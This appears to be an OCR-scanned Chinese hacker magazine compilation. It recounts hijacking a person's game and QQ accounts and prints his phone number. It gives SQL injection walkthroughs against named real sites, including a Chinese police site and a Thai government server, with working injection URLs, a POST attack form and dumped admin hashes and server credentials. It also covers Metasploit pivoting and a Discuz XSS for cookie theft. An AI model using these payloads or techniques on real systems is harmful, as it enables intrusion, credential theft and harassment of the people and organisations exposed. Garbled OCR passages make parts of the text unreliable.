你手机号码多少	周柱1314awqi 2:02:12

TH-+ 31:35 31:36 State 64

小权 1:54:24

小权 1:54:26

AbiElaham

恩

图 2.4.13 得到密码

22

周柱1314awgj 1:50:18

小权 1:50:19

你上了我的啊

2010 VE VE

算了,

LEJLEJ.	
小权 1:57:43	看见他一开始的密码是:
你睡觉吧	1314awgj 现在又改成了
周柱1314awgj 1:57:45	wgi131/a
恩恩	
小权 1:58:03	有米他是吊用铅码啊,哈哈义收
你修改下密码	获了。
小汉 1:58:06	下次他改密码了,直接尝试这几
我这里出开来了	个组合密码!
≤1:58:53	相差还有个手机矩信改变码的
	心有足有 一 1 机应自以出码的,
位,彩绘下要睡觉了。	然后获取了他的手机号码
周柱1314awgi 1:59:00	手机号码为:15074866919
恩恩	一开始不知道密保前
小权 1:59:07	是想用这个机会去改他密码的
改下密码然后我就挂在这里了	他可能对钜信修改密码的钜信内
周柱1314awgj 1:59:14	应不加诺
恩恩	谷小知道
小权 1:59:24	想让他给我验证码,呵呵,算了,
快点哈,找老管不准找那个了	发短信给他的话
同任1314awgj 2:00:05 因 因	我怕会说什么修改密码验证
あみ 周柱1314awai 2:00:13	码·xxx 什么的
你要我密码吗?	手列的边口 4 小学 我的体
小权 2:00:19	相到修 以 面构达4 于, 我们他
恩	会怀疑我
小权 2:00:21	就没搞了,我是不知道内容是什
不然我怎么登	么哦,怕搞砸了
小权 2:00:22	一开始我讲的号子的时候, 想搞
是不是	人計的鍵戶國百殘上土 手 つ
周柱1314awgj 2:00:27	丁垍的沿口內贝豆上去,有QB,
	毛都没有,猤。

图 2.4.16 拿到密码

然后,我上他 CF 的号子,还有 QQ 飞车的号子,开始洗号了,删除所有好友,和群。嘿嘿! (全文完) 责任编辑: 冷鹰

第三章 SQL 注入

第1节. PHP 手工注入遭遇的尴尬环境

作者: YoCo Smart

来自: Silic Group Hacker Army

网址: http://blackbap.org

今天小白发给我一个,然后突然又遇到一个

尴尬: 使用后置写法, 把 id=1 统统写成 1=id

这样的管理员也好不到哪里去。

例如: http://fine.me.uk/halifax/archive/number.php?id=123

第 31页/共 77 页

后面加单引号提示:

SQL: ERROR: unterminated quoted string at or near "' = main.id" at character 47(request was:) SELECT main.* FROM "numbers" main WHERE 123' = main.id Number 123' not found in the database

main 是表的名称, id 是字段。WHERE 16 = main.id 的意思等同于 WHERE 16 = id 这样的管理员说他好不到哪去,是因为他不嫌累? 就好像一个人不好好走路,非要,倒着走路一样。累不累? 不过也是有办法破的:

http://fine.me.uk/halifax/archive/number.php?id=id=1+and+123

不过这个网站让人很想入非非。。。。

自己访问下:

http://fine.me.uk/halifax/archive/number.php?id=id=1+and+123

提示如下:

Number id=1 and 123 not found in the database

我直接倒。。。

总结下,如果还有让人尴尬的手工注入,可以跟帖发上

小编注:

那么这样的注射点该如何注射呢?巧妙的构造 sql 语句来执行就是 sql 注射的本质:

http://fine.me.uk/halifax/archive/programme.php?id=3=3+Sql_Code+and+3

http://fine.me.uk/halifax/archive/programme.php?id=3=3+and+1+is+not+null+and+3 true

http://fine.me.uk/halifax/archive/programme.php?id=3=3+and+1+is+null+and+3 false

(全文完)责任编辑: 梵幻

第2节.跟土耳其黑客学的注入小技巧

作者: YoCo Smart

来自: Silic Group Hacker Army

网址: http://blackbap.org

是一个土耳其黑客刚才给我看的。

看了之后我只能说,好吧,人家果然是经验丰富,高级注入语句,是越用越精简~

select+GROUP_CONCAT(DISTINCT+table_name)+from+information_schema.columns+where+ta ble_schema=数据库名称的 hex

这个是 MySQL 5.x 爆数据库表段名称的语句,大家都应该知道吧

上面语句后面 from 的那部分,人家土耳其黑客把 from 后面这么写:

from+information_schema.columns+where+table_schema=database()

看最后面,减少了转换编码的那步骤了

例如:

http://www.blanchardgroup.ca/news.php?id=-1+union+select+1,2,CONVERT(GROUP_CONCAT(DISTINCT+table_name)+USING+latin1),4,5,6+from+information_schema.columns+where+table _schema=database() 至于语句里面 CONVERT()强制转 latin1 编码的用法,我发帖说过了 传送门: http://bbs.blackbap.org/thread-1932-1-1.html (全文完)责任编辑: 梵幻

第3节. 注入里面的几个小参数

作者: YoCo Smart

来自: Silic Group Hacker Army

网址: http://blackbap.org

直接看地址吧:

rekguitars.com/english.php?site=dir&nr=-2+union+select+1,2,concat(@@version_comment,0x5c , @@datadir,0x5c,@@tmpdir,0x5c,@@version,0x5c,user(),0x5c,database(),0x5c,@@version_com pile_os,0x5c,@@version_compile_machine,0x5c,@@warning_count,0x5c,@@system_time_zon e,0x5c,@@query_cache_size),4,5,6,7,8,9,0,1,2,13,14,15,16,17,18 @@version_comment @@datadir @@tmpdir @@version user() database() @@version_compile_os @@version_compile_machine @@warning_count @@system_time_zone @@query_cache_size concat(@@version_comment,0x5c,@@datadir,0x5c,@@tmpdir,0x5c,@@version,0x5c,user(),0x5 c,database(),0x5c,@@version_compile_os,0x5c,@@version_compile_machine,0x5c,@@warning _count,0x5c,@@system_time_zone,0x5c,@@query_cache_size) 得到:

Source distribution

/home/mysql50/data-h16/ /home/tmp/data-h16 5.0.90-log fulara_2@85.128.166.242 fulara_2 unknown-linux-gnu x86_64 0 CEST

16777216

虽然用处不大,不过比没有强 (全文完)责任编辑:梵幻
第4节. MySQL 错误回显套公式法注入 Zone-h. com. cn

作者: YoCo Smart

来自: Silic Group Hacker Army

网址: http://blackbap.org

Silic 技术论坛上的关于注入的文章已经很全面了,但是却并没有几篇关于 MySQL 错误回显 注入的文章。

唯一的一篇还是 POST 注入,相信大部分人是看不懂。原文在这里:

捅伊朗黑客 PP -- 后台登陆 POST+错误回显 注入

(http://bbs.blackbap.org/thread-2235-1-1.html)

看不懂没关系,我今天拿刚刚开放的 zone-h.com.cn 做一下演示。用这个站没有特别的含义, 这个站前阵子关闭了,今天重新开放一看是 XX 市公安局。

职业习惯加了个单引号。。。

注意:阅读本文前请注意,php+MySQL 注入,发生错误回显的有两种,一种是 MySQL 错误回显,即 php 提示 MySQL 语句哪里出错了,也就是能够用本文方法利用的注入,另外一种是 php 错误回显。

php 显示哪个文件的哪一行出错了,这种情况不在本文的讨论范畴之内。

先看注入点:

http://zone-h.com.cn/detail.php?ID=55+and+1=1

有人用工具目测字段数为12,但是我们看地址:

http://zone-h.com.cn/detail.php?ID=55+union+select+1,2,3,4,5,6,7,8,9,10,11

字段 11: "SQL 语句错误: The used SELECT statements have a different number of columns"

http://zone-h.com.cn/detail.php?ID=55+union+select+1,2,3,4,5,6,7,8,9,10,11,12

字段 12:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,3,4,5,6,7,8,9,10,11,12' at line 1

字段是 12 不假,但是无显示位回显。

既然这样,那就用 MySQL 的报错回显来注入爆数据。

MySQL 报错回显爆数据,其实主要就是套公式,公式分为4部分

1,逻辑错误部分,也就是将 GET 变量取值变为逻辑错误值,例如.php?id=0 或者.php?id=12+and+1=2

2,固定 SQL 联合查询语句,语句为:

union select 1 from (select+count(*),concat(floor(rand(0)*2),(注入爆数据语句))a from information_schema.tables group by a)b

3,注释语句,将整个语句后面的部分注释掉,可以用"/*"注释符,也可以用"--"终止符,也可以用%23 这个"#"字符

4,注入爆数据语句,基本格式就是 select XX from YY 的格式。

这4个固定公式唯一要注意的是最后一个,最后一个每次只能爆单条数据,不能 updata 不能 select into 不能 insert 不能 load_file()不能 group_concat(),有的 concat()也不能用 这样爆数据的话,就要加一个 limit x,y 的限制条件

也就是 select XX from YY limit a,b

a 是从第几条开始,从 0 开始为以一条, b 为目标一共几条数据,这里固定为 1,也就是说 limit 0,1 是第 1 条数据, limit 1,1 是第 2 条数据,一次类推。

上面的逻辑你搞不清楚不要紧,你可以先看注入语句再回头研究每个语句的含义 MySQL显示当前数据库名,登陆用户,数据库版本和数据路径的语句是:

select concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)

将上面的 SQL 语句作为语句 4 带入供述就得到注入语句:

http://zone-h.com.cn/detail.php?ID=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)))a+from+infor mation_schema.tables+group+by+a)b

我们访问一下就得到了:

SQL 语句错误: Duplicate entry

'1:mc110_mc110@localhost:5.1.34:/usr/local/mysql/var/' for key 'group_key'

Duplicate entry 后面的引号中的就是数据,固定去掉数字"1"

mc110_mc110 是数据库名

mc110@localhost 是数据库用户

5.1.34 是版本

/usr/local/mysql/var/这里是 MySQL 的数据路径

然后我们继续看

MySQL 显示当前所有数据库的语句为:

select table_name from information_schema.tables where table_schema = database() limit 0,1 或者

select table_name from information_schema.columns where table_schema = database() limit 0,1

将这句 SQL 语句作为上面公式中的 4, 就得到注入语句:

http://zone-h.com.cn/detail.php?ID=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_name+from+information_schema.tables+where+table_schema=database()+li mit+0,1))a+from+information_schema.tables+group+by+a)b

访问得到: SQL 语句错误: Duplicate entry '15epe_admin' for key 'group_key'

其中 5epe_admin 就是数据表(注意, 去掉固定数字: 1)根据上面语句, 分别将 limit 0,1 改为 limit 1,1 limit 2,1。。。。一直到提示"SQL 语句错误: The used SELECT statements have a different number of columns"的时候

数据就爆完了

数据库的表一共有这些 5epe_admin,5epe_log,5epe_title,bbs,category,hkd_adtxt,link,news 表示第一个表一定是管理员表

然后是 MySQL 表字段的语句

select column_name from information_schema.columns where table_name = '5epe_admin'
limit 0,1

将 table_name = '5epe_admin'改为 hex 数据格式: table_name=0x356570655f61646d696e 带入语句带公式:

http://zone-h.com.cn/detail.php?ID=-1+union+select+1+from+(select+count(*),concat(floor(rand (0)*2),(select+column_name+from+information_schema.columns+where+table_name=0x35657 0655f61646d696e+limit+0,1))a+from+information_schema.tables+group+by+a)b 得到 5epe_admin 表段中第 1 个字段名为 Id

http://zone-h.com.cn/detail.php?ID=-1+union+select+1+from+(select+count(*),concat(floor(rand (0)*2),(select+column_name+from+information_schema.columns+where+table_name=0x35657

0655f61646d696e+limit+1,1))a+from+information_schema.tables+group+by+a)b

修改 limit 值得到 5epe_admin 表段中第 2 个字段为 adminname

http://zone-h.com.cn/detail.php?ID=-1+union+select+1+from+(select+count(*),concat(floor(rand (0)*2),(select+column_name+from+information_schema.columns+where+table_name=0x35657

修改 limit 值得到 5epe_admin 表段中第 3 个字段为 adminname

到第四个就没有数据了,那么这样就得到:

5epe_admin

这个表的结构为:

Id, adminname, adminpass

下面爆这个管理员数据,SQL 语句为:

select concat(0x3a,Id,0x3a,adminname,0x3a,adminpass) from 5epe_admin

带入公式:

http://zone-h.com.cn/detail.php?ID=-1+union+select+1+from+(select+count(*),concat(floor(rand (0)*2),(select+concat(0x3a,adminname,0x3a,adminpass)+from+5epe_admin+limit+0,1))a+from+i nformation_schema.tables+group+by+a)b

访问后得到数据:

admin:8e02a1062c785a4b13eca9bb78e21783

解密后的密码见2楼

这样一来,一次 MySQL 错误回显注入的过程就完成了。

2L 密码: 原密码 mc110, 不过我认为这个密码太简单了, 于是我就换了换:

其实密码也不复杂,14 位而且还没加数字,我就想看看 cmd5 能不能给破出来.

另外,我发现下面两个站指向的也是麻城市公安局:

http://sohotask.com/detail.php?ID=60

http://mc110.gov.cn/detail.php?ID=60

个人觉得, mc110.gov.cn 才是...其他两个站...

(全文完)责任编辑: 梵幻

第5节. 捅伊朗黑客 PP——后台登陆 POST+错误回显 注入

作者: YoCo Smart

来自: Silic Group Hacker Army

网址: http://blackbap.org

看了一个泰国政府的网站被伊朗的黑客挂页,上面写着

"Your Box Own3z By Behrooz_Ice - Q7x -Sha2ow -Virangar -Ali_Eagle -iman_taktaz -

Satanic2000"

"We Love Iran"

"Ashiyane Digital Security Team"

这样的话云云。一些中国的傻逼还拿着别人的黑页去 zone-h 去提交,感觉受不了这么傻逼 的事情,就跟着犯了傻逼,捅了人家的 PP

下面我就讲讲怎么捅了他们的 PP(http://203.154.183.18/ash_hack.htm)

网站服务器 ip 为: 203.154.183.18 上面一共有大约一百多个 xx.cad.go.th (泰国政府域名后缀)的网站

包括主域名: www.cad.go.th(www.cad.go.th/webadmin/)

我先是看了看上面站的构架,基本上都是一个模板出来的,似乎有点脚本问题,不过不从 这边下手。直接访问 ip 可以看到一个管理后台

看了看这个后台,上面写着 EasyWebTime 8.6,不知道是什么东西。然后我就用

用户名: admin'or 1=1# 密码任意 123456 登陆,得到如下回显:

INSERTINTO log_user (log_date , log_time , log_mid , log_user , log_date_text , log_ip ,

log_module , log_module_detail , log_detail) VALUES ('2011-11-19', '10:39:41', '', 'admin'or

1=1#', '19/11/2011 10:39:41', '24.77.19.26', 'login', 'login', 'เข้าสู่ระบบ')

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " at line 1

关键的地方不是这个 INSERT INTO 这个错误,关键是

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " at line 1

这个地方,说明后台有 POST 注入,而且有数据库错误回显。

这样的话,构建一个 SQL 注入的 POST 语句即可,通过错误回显来注入出想要的信息。

错误回显注入很简单,套公式就行了

用户名填写:

admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group by a)b#

密码任意,点击登陆,提示用户名错误

估计是 Javascript 在作怪,绕过这个很简单,考虑到后面注入的简便性,干脆写了一个 html 文档:

<form name="form1" method="post" action="http://203.154.183.18/login.php">

<textarea rows="5" style="font-family:Times New Roman;font-size:14pt;" cols="80" name="EWT_User">admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() from mysql.user limit 0,1))a from information_schema.tables group by a)b#</textarea> <input name="EWT_Password" type="password" class="texfield" id="EWT_Password" size="22"

value="xxxx" />

<input name="Submit" type="submit" class="submit" value="Login" />

<input name="Flag" type="hidden" id="Flag" value="Login" />

<input name="password_hidden" type="password" style="display:none" value="Welcome" size="10" />

<input name="password_hidden" type="password" style="display:none" value="Welcome" size="10" />

<input name="password_hidden" type="password" style="display:none" value="Welcome" size="10"/>

</form>

其实很简单, line 1 里面的 method 表示提交方法为 POST, 后面的 action 为提交到的地址, 这是从登陆页面上面直接扒下来的, 但是 action 这个地址是完整的 url 地址。再往后面的 就比较简单看了, 保存为 xx.html 然后访问, 在第一个文本框中输入注入语句即可。 注入语句是这样的:

admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() from mysql.user limit 0,1))a from information_schema.tables group by a)b#

于是得到了回显如下:

SELECT * FROM user_info WHERE EWT_User = 'admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() from mysql.user limit 0,1))a from information_schema.tables group by a)b#' AND EWT_Pass = 'ea416ed0759d46a8de58f63a59077499' AND EWT_Status = 'Y' Duplicate entry '1bizpoten@203.154.183.18' for key 1

后面的 Duplicate entry '1bizpoten@203.154.183.18' for key 1 就是想要的注入结果(去掉前面的固定数字'1')

注入语句中的

select user() from mysql.user limit 0,1

换成想要的注入语句即可,例如:

select user from mysql.user where host='%' limit 0,1

因为每次注入得到的信息只有一条,所以比较吃力

但是最后我注入总结的信息如下:

mysql 账户:

kk

用户名: 密码哈希

*8B9BA157688A49AFBE7513677DCD4F7C43257018 %

bizpoten *7F6E575FAD18674CADD3B8495C79FBA5B58090D1//!2QwAsZx %

webboard *51E610BE77CF0F81D2861AF180B496D1CA2A7637 localhost

root 密码空 127.0.0.1

数据库中得数据表段:

admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=database() limit 0,1))a from information_schema.tables group by a)b#

大概有 70 多个,中间跳着过去的,没把表全列出来,具体我忘了,最后面的 user_info 引起了我的注意:

amphur,article_list,block,block_text,blog_category,blog_comment,org_type,user_info 最后得到服务器的 203.154.183.18 的登录名和密码为: template/template

取到 webshell 也就不难了

当然,服务器是 windows,装了卡巴斯基,国内的 360 根本就不是和卡巴斯基一个档次的,提权颇费周折。。。不过。。。菊花聊天室已经挂上了

http://www.cad.go.th/webadmin/

(全文完)责任编辑: 梵幻

第6节. MySQL 盲注最全 实例讲解 详解

```
作者: YoCo Smart
来自: Silic Group Hacker Army
网址: http://blackbap.org
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据,本文出于
讲解的目的,使用更麻烦的盲注。
阅读本文,需要有一点点 SQL 基础。盲注理解起来其实非常简单,就是做起来非常费劲
我们先来看注入点,是一个 B2B 网站建站公司:
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
```

用户名已被注册

http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'

select userid from demo_b2b_member where user = 'admin"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "admin" at line 1

错误提示已经很明了了。我们看一下注入页面的代码(有删改):

\$js_user = trim(\$_GET["js_user"]);

if(\$js_user){

\$num = \$db->num_rows("select userid from demo_b2b_member where user = '\$js_user''');
if(!\$num)

echo "<div class=tips3></div>";

else

echo "<div class=tips2>用户名已被注册</div>";

以 GET 方式取值的变量 js_user 虽然没有过滤被直接带入了数据库执行,并且 MySQL 也执行了,但是并没有显示数据库的任何信息,而是判断是否符合

那么我们先从 union 的盲注来看吧。

先看版本:

http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)= 5%23

这个时候我们来看看原来的代码中的 SQL 语句是怎么执行的:

select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'

因为执行成功,所以不符合 if(!\$num)这个条件,回显"用户名已被注册",那么版本为5 成立

再来看 database()的数据:

http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23

database()长度 6

http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1) ='l'%23

L

http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2) ='li'%23

li

http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3) ='lic'%23

lic

http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4) ='licl'%23

licl

http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5) ='licln'%23

licln

http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)

='liclny'%23

licclny

length()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是 否正确。

这里要注意看一下 left()函数中的数字变化,关于 left()函数,可以自行参考 MySQL 手册。 再来看一点简单的判断句:

http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32% 23

select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'

这个时候 length()函数中的 pass 是猜测的,当然是建立在猜测正确的基础上。

这里要说的是, pass 和前面 select 后的 userid 同属一个表段 demo_b2b_admin,所以不需 要再带 select 语句

那么这里就能得到:

这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。

http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0 http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04 http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048 http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='048 4 http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='048 43 http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='048 43e http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='048 43e9 http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='048 43e9f http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='048 43e9f9 http://www.smartb2b.net/demo/b2b/member/check.php?js user=admin'and+left(pass,10)='04 843e9f91 http://www.smartb2b.net/demo/b2b/member/check.php?js user=admin'and+left(pass,11)='04 843e9f91a http://www.smartb2b.net/demo/b2b/member/check.php?js user=admin'and+left(pass,12)='04 843e9f91ad http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04 843e9f91adf http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04 843e9f91adf2 http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04 843e9f91adf22 http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04 843e9f91adf228 http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04

843e9f91adf2287	
http://www.smartb2b.net/demo/b2b/member/check.php?js_	user=admin'and+left(pass,18)='04
843e9f91adf2287c	
http://www.smartb2b.net/demo/b2b/member/check.php?js_	user=admin'and+left(pass,19)='04
843e9f91adf2287c0	
http://www.smartb2b.net/demo/b2b/member/check.php?js_	user=admin'and+left(pass,20)='04
843e9f91adf2287c0a	
http://www.smartb2b.net/demo/b2b/member/check.php?js_	user=admin'and+left(pass,21)='04
843e9f91adf2287c0af	
http://www.smartb2b.net/demo/b2b/member/check.php?js_	user=admin'and+left(pass,22)='04
843e9f91adf2287c0af5	
http://www.smartb2b.net/demo/b2b/member/check.php?js_	user=admin'and+left(pass,23)='04
843e9f91adf2287c0af5f	
http://www.smartb2b.net/demo/b2b/member/check.php?js_	user=admin'and+left(pass,24)='04
843e9f91adf2287c0af5fe	
http://www.smartb2b.net/demo/b2b/member/check.php?js_	user=admin'and+left(pass,25)='04
843e9f91adf2287c0af5fe1	
http://www.smartb2b.net/demo/b2b/member/check.php?js_	user=admin'and+left(pass,26)='04
843e9f91adf2287c0af5fe16	
http://www.smartb2b.net/demo/b2b/member/check.php?js_	user=admin'and+left(pass,27)='04
843e9f91adf2287c0af5fe167	
http://www.smartb2b.net/demo/b2b/member/check.php?js_	user=admin'and+left(pass,28)='04
843e9f91adf2287c0af5fe1675	
http://www.smartb2b.net/demo/b2b/member/check.php?js_	user=admin'and+left(pass,29)='04
843e9f91adf2287c0af5fe16750	
http://www.smartb2b.net/demo/b2b/member/check.php?js_	user=admin'and+left(pass,30)='04
843e9f91adf2287c0af5fe16750a	
http://www.smartb2b.net/demo/b2b/member/check.php?js_	user=admin'and+left(pass,31)='04
843e9f91adf2287c0af5fe16750a3	
http://www.smartb2b.net/demo/b2b/member/check.php?js_	user=admin'and+left(pass,32)='04
843e9f91adf2287c0af5fe16750a35	
长度是 32,是 md5 加密,解密得到 lcl2wly	
这样,猜数据的方法你肯定是懂了	
最后,我们来看 demo_b2b_admin 以外的数据,现在再来教	青表段:
http://www.smartb2b.net/demo/b2b/member/check.php?js_	user=admin'and+length((select+ta
ble_name+from+information_schema.tables+limit+0,1))<100%	623

http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+ta ble_name+from+information_schema.tables+limit+0,1))=14%23

实际运行的 SQL 语句就是:

select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'

上面这个语句,对于 information_schema 不明白的,可以参考其他 MySQL 注入文章来看一下这个库的意义。

关于 limit x,y 的用法,可以参考 MySQL 手册

最后剩下的要说的就是 ascii 函数和 hex 函数了

这两个函数的意义是避开 php 的 GPC 转义,例如:

http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass, 1), 1, 1)=char(48)%23

select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#

substr()的用法可以参考 MySQL 手册,如果不懂,就这样套好了。Char()里面的数字替换为 ascii 码数字

(全文完)责任编辑: 梵幻

第四章 常规渗透

第1节. 内网渗透应用之 metaspliot pivot with socks4a

作者: DM_

来自:法客论坛-F4ckTeam

网址: http://team.f4ck.net/

上次写过一篇关于 metasploit 内网渗透应用的小文,这篇文章也算是继上篇的后续文章吧 应用场景:

在拿下内网中一台计算机后,需要进一步的扫描服务(不使用 metasploit 平台). 开启代理访问内网中某项服务. Etc

实验环境:

现在在学校了, 穷屌丝一枚. 没有什么 vps 什么的 没有办法反弹 shell 什么的. 不想喝茶云云的. 在虚拟机里搭建了环境. 以下为拓扑图., 如图 4.1.1



图 4.1.1 拓扑图

过程分析:

三张图为 backtrack5,xp1, xp2 的 ipconfig/ifconfig 信息.目标是通过那个有两块网卡的 xp 访问 到 192.168.1.0/24 网段里的计算机.如图 4.1.2, 4.1.3, 4.1.4

第 42页/共 77 页



图 4.1.2 bt5 的 ip 信息

xp(172.10.0.131)(vmnet1&vmnet2) - VMware Workstation



图 4.1.3 xp1 的 ip 信息



图 4.1.4 xp2 的 ip 信息

然后通过 nmap 进行进一步的扫描探测.为了确保正常使用 socks4a 代理.先配置 proxychains.conf 文件 终端里执行

vi /etc/proxychains.conf

你也可以用 gedit, nano 等编辑器, 进行编辑

然后得到 xp1 的 meterpreter 会话.如图 4.1.6



图 4.1.6 xp1 的会话

run get_local_subnets

可以得到 xp 所处的网段信息.(这里已知为 192.168.1.0/24 和 172.10.0.0/24)

然后后台运行 meterpreter

background

添加到路由表(1 为 session 的值), 如图 4.1.7

route add 172.10.0.0 255.255.255.0 1



图 4.1.7 添加到路由表

之后看到了 socks4a 代理已运行.jobs 查看验证.(有的时候开启了代理确发现并不能使用.有可能是防火墙的问题.这就需要将 srvhost 设置为 127.0.0.1) 然后便可以使用 proxychains 代理运行其他的 tools 了(nmap nessus,etc) 这里以 nmap 作为展示,如图 4.1.8 proxychains nmap -sT -Pn 192.168.1.108

第 44页/共 77 页

ot@bt:~# proxychains nmap -sT -Pn 192.168.1.108 ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 6.01 (http://nmap.org) at 2013-03-16 11:48 CST |S-chain|-◇-127.0.0.1:1080-◇◇-192.168.1.108:139-◇◇-OK S-chain -<>-127.0.0.1:1080-<><>-192.168.1.108:5900-<--denied S-chain -<>-127.0.0.1:1080-<><>-192.168.1.108:3389-<--denied |S-chain|-⇔-127.0.0.1:1080-↔-192.168.1.108:111-<-<u>-denied</u> |S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.108:587 |S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.108:1025-denieu |S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.108:25

图 4.1.8 端口开放情况

在这里便可以看到 nmap 已经正常运行了. 在这里如果不加 -sT 参数 或者是用 其他扫描 方式便会出错 比如 -sS etc.话说这个问题困扰了我很长时间,google 了一番之后发现

Proxychains allows TCP and DNS tunneling through proxies. Be aware that Proxychains only tunnels TCP and DNS; in other words, avoid using UDP and host discovering through ICMP (ping).

坑爹啊 其实还想来个死亡之 ping 什么的(当我 yy 什么都没说),还有在这里运行 nmap 之前 可以先扫扫 c 段中的 tcp 空连接,然后就可以使用 nmap 进行 tcp 空链接扫描.这样便可以进 行伪装工作,因为我的环境太小了,所以就不做演示了.模块是这个.(具体用法 请 show options 或 info)

auxiliary/scanner/ip/ipidseq

然后 nmap 中使用 -sl 参数选择空闲主机,语句大概看起来是这样的.

nmap -sT -Pn -A -sl 192.168.1.101 192.168.1.108

-sT tcp 扫描, -Pn 不进行 ping, -A 显示更详细的信息.-sl 指定空闲主机 参考文献:

http://pctechtips.org/scanning-hosts-anonymously-with-nmap-and-proxychains/ http://www.digininja.org/blog/nessus_over_sock4a_over_msf.php https://community.rapid7.com/docs/DOC-1028

(全文完)责任编辑: Panni_007

第2节. Discus X2.5 某未补跨站漏洞利用

作者: haxsscker

来自:法客论坛-F4	4ckTeam	
网址: http://team	.f4ck.net/	
0x01 无法用获取的	的 COOKIE 登录分析	
都说 DISCUZ X2.5 ((以下简称 DZ25)的 COOKIE 拿到了也没有办?	去登录,但是为什么呢?
今天就来简单的看	一下,我们登录一个 DZ25 的站,登陆之后看	下 COOKIE,如图 4.2.1
	^ Name	
	sucG 2132 auth	
	sucG_2132_checkfollow	
	sucG_2132_checkpatch	
	sucG_2132_checkpm	
	sucG_2132_editormode_e	
	sucG_2132_forum_lastvisit	
	sucG_2132_lastact	
	sucG_2132_lastcheckfeed	
/	sucG_2132_lastvisit	
1	sucG_2132_nofavfid	
	sucG_2132_onlineusernum	
	sucG_2132_pluginnotice	
24/22	sucG_2132_saltkey	
用山谷義義	sucG_2132_sendmail	
	sucG_2132_sid	
	sucG_2132_smile	
	sucG_2132_ulastactivity	0
	sucG_2132_viewid	A
	sucG_2132_visitedfid	0-
	tjpctrl /Leienunity	ettini.

图 4.2.1 分析 cookie

在里面我们翻下,就会发现一个 HTTPONLY 的字段,还是 AUTH,也就是登录用户, 所以当然无法直接搞到完整 COOKIE,残缺的 COOKIE 自然无法登录,如图 4.2.2



图 4.2.2 cookie 残缺

0x02 获取完整 COOKIE 条件分析

大家知道,HTTPONLY 是专门用来防止 XSS 的,但是不要直接放弃,我们知道低版本的 AJAX 利用 TRACE 方法和 APACHE 有一个 CVE-2012-0053 漏洞,均可以获取 HTTPONLY 的 COOKIE 文章链接: adubeans.blog.163.com/blog/static/21745123320132251248646/

那么我们利用的条件就清晰了:

1.低版本的 AJAX

2. "或者"APACHE 服务器没有补 CVE-2012-0053

0x03 DZ25 跨站分析 我在 DZ 官网下载了最新的 DZ25 发现唯一没有补的洞就比如你们点下面这张图: 当点击图片时候,就会触发 XSS,如图 4.2.3 !!!! 请点击!!!!

鼠标滚 1 CCK () CCEM

图 4.2.3 触发 XSS

当然,只是 ALERT 是不够的

为了触发漏洞,我们必须引用外部的JS 文件 因为无论哪个条件,都需要一段 AJAX 脚本

如果直接引用

<script src='http://www.xxx.com/1.js'></script>

会发现无法加载,如图4.2.4

			-		the Den al Lot	Local de la constante		
控制台	the HTML v	CSS	脚本	DOM	网络	Cookies		
om_title	e < div#im	gzoom_i	mg.hm	ı < div#i	imgzc	oominner <	div#img	zoom
